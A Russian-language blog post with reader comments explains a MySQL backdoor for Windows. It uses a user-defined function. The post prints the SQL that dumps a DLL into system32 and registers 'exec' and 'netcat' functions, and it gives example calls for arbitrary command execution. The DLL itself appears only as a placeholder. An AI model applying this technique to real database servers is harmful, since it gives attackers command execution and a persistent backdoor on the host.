MySQL бэкдор для Windows

В одном из своих постов однажды я уже упоминал возможность создания SQL-бэкдоров, в частности для MySQL. В отличие от MSSQL и Oracle, где имеются широкие возможности по созданию сложных хранимых процедур и функций, для MySQL проблема безопасности внутренней инфраструктуры баз данных является не столь освещенной и разработанной. Прежде всего это связано с отсутствием средств для создания различного рода malware на уровне БД, а именно встроенного скриптового языка – имеется лишь ограниченный набор конструкций для создания простейших циклов и условий. Но недавно случайно для себя обнаружил довольно любопытный пример MySQL-бэкдора, основанный на использовании UDFUser-Defined Functions (определяемые пользователем функции). Такое средство призвано расширить функционал MySQL с помощью специально оформленного и предварительно скомпилированного кода на C++, который реализует дополнительные возможности в контексте базы данных, при чем использование таких функций ни чем не отличается от любых других встроенных функций. Представленный выше бэкдор работает только под Windows XP, так как для создания UDF-функции необходимы права на запись в папку, содержащую системные библиотеки. В старых версиях MySQL этой директорией была С:/mysql/bin/, но в версиях > 5.1 поиск необходимой dll будет производиться в C:/windows/system32/. В любом случае, в Windows Vista трюк с UDF работать не будет, так как UAC не позволит записать ни в одну из этих папок.
Наибольшую сложность представляет написание специального кода на C++. Сам же процесс импортирования функции не вызывает трудностей:

USE mysql;
DROP TABLE IF EXISTS `foo`;
CREATE TABLE `foo` (
  `line` blob
) TYPE=MyISAM;
INSERT INTO `foo` VALUES ('[bin]');
SELECT * FROM foo INTO DUMPFILE 'c:/windows/system32/winudf.dll';
CREATE FUNCTION netcat RETURNS integer SONAME 'winudf.dll';
CREATE FUNCTION exec RETURNS integer SONAME 'winudf.dll';
DROP TABLE foo;

Автор бэкдора реализовал две функции:

  • exec – выполнение произвольных команд
    SELECT exec('echo foo > c:/bar.txt');
  • netcat – реализация всеми известного TCP/IP-инструмента
    SELECT netcat('127.0.0.1');

И, как оказалось, все действительно работает 😉


9 comments:

  1. cr0w, 18. March 2009, 22:39

    Интересная штука. (:
    Правда, примеру этому уже пара лет, наверное. Помню, тогда еще малварина была, которая умела троянить win-машины с mysql этим кодом.

     
  2. Kuzya, 19. March 2009, 9:41

    Интересная вещь. Cегодня надо протестить на локалхосте =)
    P.S. То что на висте не робит ИМХО не важно. Кто догадается держать на ней сервер? =) Главное что бы работало в 2000/2003/XP да и достаточно будет.

     
  3. Raz0r, 19. March 2009, 12:27

    @Kuzya
    Для висты, действительно, не важно, но например в Windows Server 2008, где также имеется UAC, работать не будет.

    @cr0w
    Что правда, то правда 🙂 Автора бэкдора можно смело отенсти к категории олдскул

     
  4. xCedz, 6. April 2009, 0:05

    🙂 потестим.

     
  5. opium, 25. April 2009, 5:23

    прикольная вещь! =) Только что узнал о ней =)

    Так что у нас тут выходит…

    INSERT INTO `foo` VALUES (‘[bin]’);
    SELECT * FROM foo INTO DUMPFILE ‘c:/windows/system32/winudf.dll’;

    вместо [bin] должен быть бинарный код ДЛЛ библиотеки и мы записываем её непосредстна в систем32.

    Эта строчка,
    CREATE FUNCTION exec RETURNS integer SONAME ‘winudf.dll’;
    как я понял регистрирует функцию из нашей библиотечки

    а эта её вызывает:
    SELECT exec(‘echo foo > c:/bar.txt’);

    Я всё правильно понял?
    Ну если всё так, то зачем нам создавать и записывать свою библиотеку winudf.dll, если можно воспользоваться уже готовыми библиотеками из систем32, которые содержат ВинАпи функции?

    Было бы чудесно, если бы показали код бинарника, сорцы этого самого winudf.dll

     
  6. opium, 25. April 2009, 6:17

    а всё, разобрался =)
    советую свем интересующимся прочитать это:
    http://www.mysql.ru/docs/man/Adding_UDF.html
    =)

     
  7. Веля Солнышкин, 1. May 2009, 23:26

    Ух епт…Ещё б асилить бы всё это :Р Это стопудоф придётся доооолго изучать маны MySql =_=

     
  8. Dlex, 18. May 2009, 23:00

    winudf.dll где взять?)

     
  9. Spider Agent, 11. June 2009, 1:52

    Блин, прикольная штука 🙂 надо поюзать.

     

Write a comment: